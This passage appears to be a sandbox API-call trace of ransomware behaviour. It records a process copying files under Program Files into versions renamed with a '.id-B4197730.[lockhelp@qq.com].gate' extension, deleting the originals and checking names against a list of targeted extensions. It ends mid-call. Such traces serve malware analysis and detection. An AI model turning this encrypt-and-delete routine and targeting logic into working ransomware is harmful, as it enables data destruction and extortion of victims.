ReadFile (in: hFile=0x364, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x2e, lpOverlapped=0x0) returned 1 [0116.381] WriteFile (in: hFile=0x308, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x30, lpOverlapped=0x0) returned 1 [0116.382] ReadFile (in: hFile=0x364, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0116.382] WriteFile (in: hFile=0x308, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xe8, lpOverlapped=0x0) returned 1 [0116.382] SetEndOfFile (hFile=0x308) returned 1 [0116.383] CloseHandle (hObject=0x308) returned 1 [0116.389] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0116.390] SetEndOfFile (hFile=0x364) returned 1 [0116.391] CloseHandle (hObject=0x364) returned 1 [0116.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0116.391] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 1 [0116.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0116.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0116.392] lstrlenW (lpString=".doc") returned 4 [0116.392] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0116.392] lstrlenW (lpString=".docx") returned 5 [0116.392] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0116.392] lstrlenW (lpString=".pdf") returned 4 [0116.392] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0116.392] lstrlenW (lpString=".xls") returned 4 [0116.392] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0116.392] lstrlenW (lpString=".xlsx") returned 5 [0116.392] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0116.392] lstrlenW (lpString=".ppt") returned 4 [0116.392] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0116.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0116.392] lstrlenW (lpString=".zip") returned 4 [0116.392] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0116.392] lstrlenW (lpString=".rar") returned 4 [0116.392] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0116.392] lstrlenW (lpString=".bz2") returned 4 [0116.392] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0116.392] lstrlenW (lpString=".7z") returned 3 [0116.392] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0116.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0116.392] lstrlenW (lpString=".dbf") returned 4 [0116.392] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0116.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0116.392] lstrlenW (lpString=".1cd") returned 4 [0116.393] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0116.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0116.393] lstrlenW (lpString=".jpg") returned 4 [0116.393] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0116.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0116.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0116.393] lstrlenW (lpString=".doc") returned 4 [0116.393] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0116.393] lstrlenW (lpString=".docx") returned 5 [0116.393] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0116.393] lstrlenW (lpString=".pdf") returned 4 [0116.393] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0116.393] lstrlenW (lpString=".xls") returned 4 [0116.393] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0116.393] lstrlenW (lpString=".xlsx") returned 5 [0116.393] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0116.393] lstrlenW (lpString=".ppt") returned 4 [0116.393] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0116.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0116.393] lstrlenW (lpString=".zip") returned 4 [0116.393] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0116.393] lstrlenW (lpString=".rar") returned 4 [0116.393] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0116.393] lstrlenW (lpString=".bz2") returned 4 [0116.393] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0116.393] lstrlenW (lpString=".7z") returned 3 [0116.394] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0116.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0116.394] lstrlenW (lpString=".dbf") returned 4 [0116.394] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0116.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0116.394] lstrlenW (lpString=".1cd") returned 4 [0116.394] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0116.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0116.394] lstrlenW (lpString=".jpg") returned 4 [0116.394] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0116.394] lstrcmpiW (lpString1=".txt", lpString2=".gate") returned 1 [0116.394] lstrlenW (lpString="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 34 [0116.394] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0116.394] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=63933) returned 1 [0116.395] CloseHandle (hObject=0x364) returned 1 [0116.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 0x20 [0116.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.395] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0116.395] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0116.395] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0116.395] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0116.396] GetLastError () returned 0x0 [0116.396] ReadFile (in: hFile=0x364, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0xf9bd, lpOverlapped=0x0) returned 1 [0116.959] WriteFile (in: hFile=0x308, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xf9c0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xf9c0, lpOverlapped=0x0) returned 1 [0116.962] ReadFile (in: hFile=0x364, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0116.962] WriteFile (in: hFile=0x308, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x118, lpOverlapped=0x0) returned 1 [0116.963] SetEndOfFile (hFile=0x308) returned 1 [0116.963] CloseHandle (hObject=0x308) returned 1 [0116.975] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0116.975] SetEndOfFile (hFile=0x364) returned 1 [0116.977] CloseHandle (hObject=0x364) returned 1 [0116.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0116.978] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 1 [0116.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0116.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0116.978] lstrlenW (lpString=".doc") returned 4 [0116.978] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0116.978] lstrlenW (lpString=".docx") returned 5 [0116.979] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1 [0116.979] lstrlenW (lpString=".pdf") returned 4 [0116.979] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0116.979] lstrlenW (lpString=".xls") returned 4 [0116.979] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0116.979] lstrlenW (lpString=".xlsx") returned 5 [0116.979] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1 [0116.979] lstrlenW (lpString=".ppt") returned 4 [0116.979] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0116.979] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0116.979] lstrlenW (lpString=".zip") returned 4 [0116.979] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0116.979] lstrlenW (lpString=".rar") returned 4 [0116.979] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0116.980] lstrlenW (lpString=".bz2") returned 4 [0116.980] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0116.980] lstrlenW (lpString=".7z") returned 3 [0116.980] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0116.980] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0116.980] lstrlenW (lpString=".dbf") returned 4 [0116.980] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0116.980] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0116.980] lstrlenW (lpString=".1cd") returned 4 [0116.980] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0116.980] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0116.980] lstrlenW (lpString=".jpg") returned 4 [0116.981] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0116.981] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0116.981] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0116.982] lstrlenW (lpString=".doc") returned 4 [0116.982] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0116.982] lstrlenW (lpString=".docx") returned 5 [0116.982] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1 [0116.982] lstrlenW (lpString=".pdf") returned 4 [0116.982] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0116.982] lstrlenW (lpString=".xls") returned 4 [0116.982] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0116.982] lstrlenW (lpString=".xlsx") returned 5 [0116.982] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1 [0116.983] lstrlenW (lpString=".ppt") returned 4 [0116.983] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0116.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0116.983] lstrlenW (lpString=".zip") returned 4 [0116.983] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0116.983] lstrlenW (lpString=".rar") returned 4 [0116.983] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0116.983] lstrlenW (lpString=".bz2") returned 4 [0116.983] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0116.983] lstrlenW (lpString=".7z") returned 3 [0116.983] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0116.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0116.984] lstrlenW (lpString=".dbf") returned 4 [0116.984] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0116.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0116.984] lstrlenW (lpString=".1cd") returned 4 [0116.984] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0116.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0116.984] lstrlenW (lpString=".jpg") returned 4 [0116.984] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0116.984] lstrcmpiW (lpString1=".XML", lpString2=".gate") returned 1 [0116.985] lstrlenW (lpString="SLERROR.XML") returned 11 [0116.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0116.985] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=36336) returned 1 [0116.985] CloseHandle (hObject=0x364) returned 1 [0116.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 0x20 [0116.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0116.988] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0116.988] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0116.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0116.989] GetLastError () returned 0x0 [0116.989] ReadFile (in: hFile=0x364, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x8df0, lpOverlapped=0x0) returned 1 [0117.068] WriteFile (in: hFile=0x308, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x8e00, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x8e00, lpOverlapped=0x0) returned 1 [0117.070] ReadFile (in: hFile=0x364, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0117.070] WriteFile (in: hFile=0x308, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xea, lpOverlapped=0x0) returned 1 [0117.070] SetEndOfFile (hFile=0x308) returned 1 [0117.070] CloseHandle (hObject=0x308) returned 1 [0117.074] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0117.075] SetEndOfFile (hFile=0x364) returned 1 [0117.077] CloseHandle (hObject=0x364) returned 1 [0117.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0117.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 1 [0117.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0117.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0117.078] lstrlenW (lpString=".doc") returned 4 [0117.078] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0117.078] lstrlenW (lpString=".docx") returned 5 [0117.078] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1 [0117.078] lstrlenW (lpString=".pdf") returned 4 [0117.078] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0117.078] lstrlenW (lpString=".xls") returned 4 [0117.078] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0117.078] lstrlenW (lpString=".xlsx") returned 5 [0117.078] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1 [0117.078] lstrlenW (lpString=".ppt") returned 4 [0117.078] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0117.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0117.078] lstrlenW (lpString=".zip") returned 4 [0117.078] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0117.078] lstrlenW (lpString=".rar") returned 4 [0117.078] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0117.078] lstrlenW (lpString=".bz2") returned 4 [0117.078] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0117.078] lstrlenW (lpString=".7z") returned 3 [0117.078] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0117.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0117.079] lstrlenW (lpString=".dbf") returned 4 [0117.079] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0117.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0117.079] lstrlenW (lpString=".1cd") returned 4 [0117.079] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0117.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0117.079] lstrlenW (lpString=".jpg") returned 4 [0117.079] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0117.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0117.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0117.079] lstrlenW (lpString=".doc") returned 4 [0117.079] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0117.079] lstrlenW (lpString=".docx") returned 5 [0117.079] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1 [0117.079] lstrlenW (lpString=".pdf") returned 4 [0117.079] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0117.079] lstrlenW (lpString=".xls") returned 4 [0117.079] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0117.079] lstrlenW (lpString=".xlsx") returned 5 [0117.079] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1 [0117.079] lstrlenW (lpString=".ppt") returned 4 [0117.079] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0117.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0117.080] lstrlenW (lpString=".zip") returned 4 [0117.080] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0117.080] lstrlenW (lpString=".rar") returned 4 [0117.080] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0117.080] lstrlenW (lpString=".bz2") returned 4 [0117.080] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0117.080] lstrlenW (lpString=".7z") returned 3 [0117.080] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0117.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0117.080] lstrlenW (lpString=".dbf") returned 4 [0117.080] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0117.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0117.080] lstrlenW (lpString=".1cd") returned 4 [0117.080] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0117.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0117.080] lstrlenW (lpString=".jpg") returned 4 [0117.080] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0117.080] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0117.081] lstrlenW (lpString="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 53 [0117.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0117.081] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=1533) returned 1 [0117.081] CloseHandle (hObject=0x364) returned 1 [0117.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 0x220 [0117.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0117.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0117.082] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0117.082] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0117.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0117.082] GetLastError () returned 0x0 [0117.082] ReadFile (in: hFile=0x364, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x5fd, lpOverlapped=0x0) returned 1 [0117.108] WriteFile (in: hFile=0x308, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x600, lpOverlapped=0x0) returned 1 [0117.109] ReadFile (in: hFile=0x364, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0117.109] WriteFile (in: hFile=0x308, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x13e, lpOverlapped=0x0) returned 1 [0117.110] SetEndOfFile (hFile=0x308) returned 1 [0117.110] CloseHandle (hObject=0x308) returned 1 [0117.114] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: 